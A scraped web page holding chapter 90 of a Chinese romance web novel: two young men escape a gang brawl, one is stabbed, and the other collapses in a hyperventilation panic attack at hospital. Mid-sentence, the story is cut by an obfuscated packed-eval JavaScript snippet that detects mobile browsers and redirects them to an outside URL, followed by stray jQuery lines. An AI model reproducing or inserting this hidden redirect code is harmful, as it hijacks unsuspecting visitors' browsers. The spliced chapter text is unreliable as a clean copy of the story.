默认冷灰
24号文字
方正启体

90. 第 90 章

作者:步山海本书字数:K更新时间:
    来之前,阮时雨还有过百分之一的侥幸:万一许延曦只是气不过、只是耿耿于怀,随便和朋友打赌逗他玩,想看他着急慌忙地白跑一趟……


    这个美好的假设,在他百米冲刺赶到现场后,彻底灰飞烟灭。


    阮时雨站在原地,浑身血液几乎冻结。他手指颤抖着解锁手机,刚按下报警号码,身后脚步声已如重鼓般逼近。


    许延曦一把拽住他的手腕,力道大得几乎要捏碎骨头,带着他不顾一切往前冲。


    “快跑!”


    说时迟那时快,脑后破空声骤起。


    一把十公分以上的弹簧刀,带着恶风贴着阮时雨头皮飞擦而过,“唰”地钉进旁边木质配电箱,刀身剧烈晃动,嗡嗡作响。


    阮时雨要是晚挪半步,此刻已经颅骨开裂!


    后怕的刺骨寒意从头顶窜到脚底,他浑身冷汗瞬间浸透衣服,双腿发软,却被许延曦死死拽着,根本停不下来。


    脑后的喊杀声越来越近,阮时雨下意识要回头。


    许延曦一把掰过他,坚定道:“快跑!别看,不会有事的!”


    不会有事的,他必须无比坚信,必须怀揣这样的信念,才能有专注逃下去的勇气。


    许延曦将两人推在身前,自己则背对所有人。有人扑上来锁喉,他手肘向后猛砸,击中对方鼻梁,骨裂声清晰可闻;有人挥刀直捅,他侧身避让,反手一掌劈在对方手腕,短刀“当啷”落地。


    可混乱之中,他顾头难顾尾,背后猛地一凉——后背肩胛下方,好似被毒蛇咬了一口。


    一股液体瞬间浸透衣料,顺着腰线往下淌,温热黏腻。


    许延曦身形猛地一僵,却连闷哼都没发出,只咬牙拽着两人,速度丝毫不减。


    刚才载阮时雨过来的出租车司机,在他下车后,去路边小商店买烟了,这会儿刚抽上一口坐回车里。


    阮时雨好似见到了救星,将两人往那边领:“咱们快上车!”


    司机原本是想继续跑后半夜,所以抽根烟醒盹儿,此刻吓得烟从嘴边掉下来,眼睛瞪得溜圆。


    “师傅!快开门!有人追我们!快救命啊!”


    阮时雨拉不开车门,急忙绕到驾驶座一侧,拍窗大喊。


    于是身后原本落下一段距离的人群,离他们越来越近。


    司机快吓尿了,他在这边儿跑了十几年的车,从没遇到过这种阵容,不是早评选过全国文明城市了吗?他那几天连遇到记者的话术都背过了……


    阮时雨一边祈求地看司机,一边又不得不紧盯那伙人的动向。


    只听油门嗡的一阵轰鸣,司机逃也似地跑路。


    阮时雨登时大脑一片空白,许延曦却像是早料到陌生人不会轻易冒险,脸上并没有什么失望,依旧一手一个,镇定地抓住阮时雨和邢池的胳膊。


    “继续跑!”


    他对B市路况不熟,一边跑一边快速观察做出判断,毫不犹豫朝着灯火通明的主街跑去。


    那边监控多,路上也有行人,比在这种偏僻地方随便拉个人叫救命靠谱得多。


    并且虽说狼狈奔逃的是他们,但许延曦看出这些人来势汹汹,却不是冲他们仨——他们之间没有利害关系,所以更像是几方势力火并,如果是常年盘踞的几条地头蛇,那么他们只是倒霉撞进了枪口。只要跑掉,对方自然不会死追,转而专心内斗。


    阮时雨心脏狂跳,脑子里一片混乱。他和许延曦的重逢,就是这种险象环生的霉运。或许他们真的磁场不合。


    然而此刻他只有一个念头:赶快逃离。只要许延曦能平安离开这堆烂事,他宁愿一辈子不再见这个人。


    “时雨!延曦!”


    阮时雨以为自己出现了幻觉。


    许延曦先他一步做出反应,招手大喊:“贺老师!”


    贺老师?


    对了,来之前,阮时雨六神无主,被过去的阴影压得喘不过气时,下意识拨通了他最信任的长辈的电话。


    没想到贺老师兵贵神速,居然这么快就驾车过来了。


    阮时雨冲在最前面,一把拉开车门。


    几个追得最近的人已经扑上来,阮时雨情急之下拳脚齐出,暂时挡开他们。


    许延曦帮他应付身后的人,两人配合默契,阮时雨慌乱的心跳,逐渐安定了几分。


    许延曦动作干净利索,把迎面几人揍得呲牙咧嘴连连求饶。


    他这种路数和打法,绝没有纠缠的意思,但转身的瞬间,阮时雨一眼觑到,刀柄在许延曦背后刺眼地竖立,血液在夜色里发黑、蔓延。


    记忆轰然炸开。


    仓库、血、少年倒下的身影、无尽的愧疚……全部在这一刻回流,狠狠掐住他的喉咙。


    心脏仿佛骤停,胸口像被一只巨手攥紧,每一口喘息都撕裂般疼痛,铺天盖地的恐惧席卷全身,阮时雨感觉自己不能呼吸也不能动了。


    这时,一根沾血铁棍直冲他面门而来,阮时雨却没有要躲避的意思。


    许延曦见他不对劲,反手将匕首狠狠抽出,与那人短兵相接,抽出时,血溅在两人身上,那人不免退缩。


    邢池之前被冷不防重击了小腹,肋间骨折似的剧痛,一直佝偻着腰,此时目睹这一切后,眼睛瞬间赤红,戾气直冲头顶。


    他挺直脊背,一把挣脱许延曦的手,夺过他手里的刀,瞳孔发狠,对准第一个扑上来的马仔咽喉就刺。


    “邢池,够了!”


    许延曦用尽全力按住他手腕,指节发白,声音因失血而发飘,却依旧强硬:“我没事!你想杀人吗!”


    他不容分说,狠狠将邢池往车门方向一推,再一把将魂飞魄散的阮时雨塞进车内,自己转身一记回旋踢,挥刀逼退最近两人,随即弯腰钻进后座,“砰”地甩上车门。


    “坐好!”


    贺招几乎是在他关门的同时踩死油门。发动机爆发出狂暴轰鸣,轮胎在地面剧烈摩擦,冒出一阵青烟,车子如离弦之箭猛冲出去。


    后方追兵扑空,气急败坏地对着车身拳打脚踢,铁棍砸在车门上发出沉闷巨响,几道刀痕在夜色里划出刺眼白光。更远的深巷之中,真正的火并早已爆发,喊杀声、棍棒撞击声、惨叫声混在一起,刀光在暗处此起彼伏,宛如小型战场。


    后面几人只能对车身踢打两下,悻悻离开,他们不过是开胃菜,远街的深巷,此刻已经打作一团,棍棒刀子漫天飞。


    “我再也不想来这里了。”


    车内一片死寂,只有许延曦发出一声感慨。


    他本就饮酒过度,方才情急之下边跑边出汗,居然发汗之后彻底清醒,只是头疼得要命,跟后背持续渗血的伤口几乎不相上下,冷汗顺着下颌滴落,浑身好似被抽走了脊柱,一点力气都没了。


    可他即便视线开始发虚,依旧侧着头,盯着瑟缩的阮时雨。


    此刻,他有种强烈的、贪婪的渴望——好想抱抱他。


    “力竭了吗,少年们?”只有狂野司机贺老师还有闲心跟他们开玩笑。


    许延曦是唯一回应的:“还行。”


    “贺老师,麻烦开去医院。”邢池终于开口。


    上学时他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485375|201973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就不服管教,认真叫过老师的次数屈指可数,然而如今好似霜打了的茄子,眼里充满自责和难过。


    贺招简单聊了几句,大致弄明白了来龙去脉。


    许延曦脑袋还在一阵一阵闪痛,估计是出汗又吹了风的缘故,但他的眼神始终不曾离开过缩成一团、没看他一眼的阮时雨。


    身体虽然很疼,但能苦尽甘来地获得这种正大光明的窥视权……许延曦居然诡异地笑了,还是那种由内而外、发自内心的笑。


    他突然想给邢池比个大拇指,纵使过程狼狈,结局总算不算差。


    对于许延曦而言,只要结局没彻底玩完,再惊险的过程都是炫技。


    “阮时雨?”


    许延曦清清喉咙,但声音还是有点沙哑,不太好听;想正正领带,才滑稽地想起早被自己丢掉。


    他又有点担心,真到了医院,万一检查出来自己伤得其实不重,这人说不定放下心就跑了,印象里的自己还成了这副狼狈模样,不好看……


    自己给自己想象得挺难受,许延曦又叫了他两声没有回应,索性直接上手,掰过他的小脸。


    阮时雨背影微微颤抖,让人以为他只是在哭。可许延曦看清他干燥的眼眶、空洞的眼神,嘴巴破风箱似的剧烈喘息,却又像是吸不进一点空气。


    而且,他身上怎么这么冷?


    好在车子已经开进急诊。


    许延曦抱着阮时雨,用自己的体温捂着他,手掌捂住他呼吸紊乱的口鼻。


    车一停,邢池刚想伸手扶许延曦。


    结果只见他一个箭步冲出去,抱着人直奔诊室。


    “医生快!快!他喘不上来!”


    贺老师刚想调侃堂堂许总逞完英雄还挺惜命,这才觉察不对。


    阮时雨有呼吸碱中毒的迹象,也就是过度换气,二氧化碳排得太多,血液酸碱瞬间失衡,会抽搐、昏迷,甚至呼吸骤停。


    许延曦满脸内疚,一刻也不敢离开他。


    “邢池,我真是个傻子。”


    许延曦深深看着阮时雨。什么徐徐图之,什么爱的纯粹,这些都是建立在阮时雨平安无事的前提之下,否则,他就算什么都不要了,也要把这人攥到手心。


    “延曦,都怪我,是我出的馊主意,差点害了你和时雨。”


    “我、我竟然不知道他会这么害怕……”许延曦疲惫地揉了把脸。


    后背还在源源不断地渗血。


    “你现在就去处理伤口,”贺招拍了拍他肩膀,眉头紧锁,不容置疑地命令,“时雨这边有我们看着。”


    “警方那边还得配合提供信息,B市安稳了这么多年,突然出这么大的事,治安这边估计要大换血。”


    处理完伤口后,许延曦没有立刻进去,只是贴着走廊墙壁,隔着病房门上那扇窄小的玻璃窗,一动不动地望着里面。


    阮时雨安安静静躺在病床上,像一只被抽走了所有魂魄的玩偶。眼睛睁着,却像似没有焦点,面色苍白得近乎透明。医生轻声询问、护士整理仪器,一切动静都像落在无知无觉的棉花上,他半点反应都没有。


    仿佛这具身体还在,可里面那个人,还困在刚才那条漆黑的巷子里,困在很多年前那片挥之不去的血光里,没走出来。


    背上密密麻麻的针脚,与之相比,好似已无法牵扯他的神经,许延曦背靠着冰冷的墙,缓缓滑下身,将整张脸深深埋进掌心。


    指缝间漏出极细微、极压抑的声音。


    没有嘶吼,没有崩溃,只有一种近乎死寂的自责,沉甸甸压在他身上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)